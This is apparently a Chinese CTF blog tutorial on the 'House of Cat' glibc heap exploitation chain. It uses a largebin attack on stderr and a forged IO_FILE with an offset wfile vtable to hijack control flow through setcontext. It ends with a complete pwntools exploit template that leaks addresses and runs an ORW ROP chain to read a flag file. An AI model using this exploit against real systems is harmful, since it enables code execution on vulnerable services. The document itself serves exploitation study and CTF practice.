House of Cat

文章发布时间:

最后更新时间:

文章总字数:
2k

预计阅读时间:
7 分钟

前言

2.34以上的版本取消了hook的存在 导致我们getshell的操作只能通过其他办法了 于是house of的链学习就成为了必要 house of cat这条链 只需要一次largebinattack的机会 随后就是伪造io结构 就可以做到劫持程序执行流 诸如setcontext等的利用

链路分析

触发io的方式和house of kiwi相似 都是通过assert输出报错 不过还是有所不同 接下来跟着我来分析一下

截止到__main_assert函数的时候 链路都和house of kiwi一致 这里就不复述了

image-20230607194023571

不同的是 kiwi是利用fflush触发fake file 本次我们是通过fxprintf中的函数 来实现任意函数调用

原理是因为vtable虽然在2.24以后加入了检测 但是由于检测不严格 对于一些轻微的偏移可以被无视 所以我们可以修改vtable为其他的表并且加上偏移 就可以实现表内的函数任意调用

而在这些函数中 会存在一些以寄存器寻址的call指令 利用这一点我们就可以劫持程序执行流

本次利用的关键就是_IO_wfile_seekoff函数 其内部会调用IO_switch_to_wget_mode函数 该函数内部存在一个可以被我们控制的call指令

我们首先利用largebinattack将stderr的地址覆盖为堆地址 随后在堆中伪造结构体 将vtable结构体修改为_IO_wfile_jumps+0x10 这样就可以顺利调用到_IO_wfile_seekoff函数

接着回到gdb 我们跟进一下fxprintf函数 一起完整的过一遍链

image-20230607194845339

我们还需要进行两次繁琐的函数跳转 随后才能到达利用的关键函数点

image-20230607194918695

image-20230607195056744

这里 就会进入被我们所伪造的vtable表固定的偏移中 在我们上面那样设置的情况下 最后是会调用到_IO_wfile_seekoff函数 我们跟进一下

可以看到 其内部存在IO_switch_to_wget_mode函数 我们跟进一下

image-20230607195213304

这里存在一个可控的call指令 rax的值可以被我们所操控 是写入到stderr上的堆地址固定偏移的一块地址

image-20230607195245775

如果我们在此处地方写入打setcontext用的万能gadget 再搭配上setcontext 就可以做到控制程序执行流

链路其实是比较清晰的 我们主要是来看一下如何伪造 很多网上的资料其实伪造部分都没有讲清楚

伪造分析

image-20230607195552637

首先我们提供一个完整的fake file构成 我们根据上面所圈出来的框 依次来讲解为什么要如此设定 需要绕过哪些地方 因为授人以鱼不如授人以渔 教会如何利用好动调来伪造结构体才是最重要的 虽然这篇文章也不能让你马上掌握这个能力

首先是灰框部分 之所以要这样布局 我们先来看前面的这个libc地址 要明白其用意何在 我们首先要定义到需要这个参数的位置 我的办法是直接n 通常会直接卡在某个语句或者触发某个报错 通过这个办法来判断执行到了哪个汇编语句

image-20230607214112329

可以看到 是触发了进程的终止 那么这个一般是由于vtable表的检测失败引起的

为了佐证我们的猜想 我们找到触发检测的函数 随后直接n 看能不能通过这个函数 结果发现不行 印证了猜想 那么我们要想绕过这一点 显然就是靠最近的一次判断 只要不跳转到执行vtable表检测的地方就行了

image-20230607214227141

image-20230607214344636

关键的两个寄存器 就是rcx和rax了 rcx最后一次的复制和rax有关系 而rax当时的值是一个相对固定的

rax最初的值是一个相对固定的 索引到的是一个libc地址

image-20230607214540799

而执行到sub的时候 对应的参数是一个栈上的地址

image-20230607214732659

显然sub后的rax值我们并没有办法改变 那么重点就是放在通过r12来影响rax的值

注意到最开始r12的赋值语句 和rbp有关系 而rbp的值正是我们的fake file的起始地址 而对应的偏移正是我们所说的灰色部分 但是由于赋值完以后还要减去rdi寄存器的值 所以最后赋值给rax的值最好比较大一点

接下来 我们根据程序执行流跟进到_IO_wfile_seekoff函数 可以看到要想成功执行到Io_switch_to_wget_mode函数 就需要我们通过上面的cmp判断 rcx和rdx这两个寄存器 分别溯源一下最后一次赋值

image-20230607215836928

image-20230607223758680

和rax有关 而rax为fake file的起始地址 对应的偏移处是我们最开始图片的红框 我们要使得二者的值不一样 才能进入_IO_wfile_seekoff函数

image-20230607224446247

进入_IO_wfile_seekoff 可以看到此时我们就可以进行任意地址call了 对应的偏移是0xe0 对应着我们最开始图片的

黄框 并且另外一个参数还有作用 这个后面遇到了再讲

接着就是万能gadget的调用了

image-20230607224751228

此时rdi的值就是fake file的起始地址 我们需要给其设定对应的值 以此来决定rdx的值 从而控制最后的call

对应着我们图片中的红框蓝框 我们将其布置好 使得接下来执行setcontext

然后后面的就是setcontext的利用问题了 这里就不讲了

没有提到的是紫色框中的参数 这一部分 我们直接将其赋为0 随后n看会卡在哪个地方

image-20230607225320272

可以看到会卡在这里 这里是因为rdi+8处不是一个地址 但是这里的cmp又要调用对应地址的内容 所以就无法进行 我们溯源一下 看看rdi的值是怎么得到的

image-20230607225424542

可以看到和rbx有关系 而动调发现rbx的值就是fake file的起始地址 所以在对应地址布置一下就好了

模板

首先泄露libc地址和hepa地址 随后利用largebinattaack在stderr写入可控堆块地址用来充当fake file

随后布置好结构体 利用top chunk或者largebin chunk来触发io链 最后orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
add(0x420)#0
add(0x10)#1
add(0x410)#2
add(0x10)#3
delete(0)
add(0x500)#4
delete(2)
show(0)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x21a0b0
success("libc_addr :"+hex(libc_addr))
delete(1)
show(1)
io.recv()
heap_addr = u64(io.recv(5).ljust(8,b'\x00'))<<12
success("Heap_addr :"+hex(heap_addr))

stderr_addr = libc_addr + libc.sym['stderr']
payload = p64(0)*3+p64(stderr_addr-0x20)
edit(0,len(payload),payload)
add(0x500)#5

next_chain = 0
gadget_addr = libc_addr + 0x0000000000165fa0
setcontext_addr = libc_addr + libc.sym['setcontext']+61
rdi_addr = libc_addr + next(libc.search(asm("pop rdi;ret")))
rsi_addr = libc_addr + next(libc.search(asm("pop rsi;ret")))
rdx_addr = libc_addr + 0x000000000005f65a
ret_addr = libc_addr + 0x0000000000028a87
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
system_addr = libc_addr + libc.sym['system']
gadget_addr = 0x0000000000165fa0+libc_addr
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']


ioaddr=heap_addr+0x6e0
flag_addr = heap_addr+0x728
next_chain = 0
fake_IO_FILE = p64(0)+p64(0)+p64(0)+p64(heap_addr+0x730)+p64(0)*2+p64(1)+p64(0)*4+b'./flag\x00\x00'
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(setcontext_addr)
fake_IO_FILE +=p64(gadget_addr)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_addr+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(0)+p64(0)+p64(ioaddr) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(libc_addr+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*3+p64(libc_addr+0x2160c0+0x10)+p64(heap_addr+0x740)+p64(0)
fake_IO_FILE += p64(heap_addr+0x7e0)+p64(ret_addr) # rax2
fake_IO_FILE += p64(rdi_addr)+p64(flag_addr)+p64(rsi_addr)+p64(0)+p64(open_addr)
fake_IO_FILE += p64(rdi_addr)+p64(3)+p64(rsi_addr)+p64(heap_addr+0x1000)+p64(rdx_addr)+p64(0x100)+p64(read_addr)
fake_IO_FILE += p64(rdi_addr)+p64(1)+p64(rsi_addr)+p64(heap_addr+0x1000)+p64(rdx_addr)+p64(0x100)+p64(write_addr)


edit(1,len(fake_IO_FILE),fake_IO_FILE)
payload = cyclic(0x508)+p64(0x300)
edit(5,len(payload),payload)

# gdb.attach(io,'b *$rebase(0x143A)')
# pause(0)
add(0x1000)#6
# pause()

io.recv()
io.recv()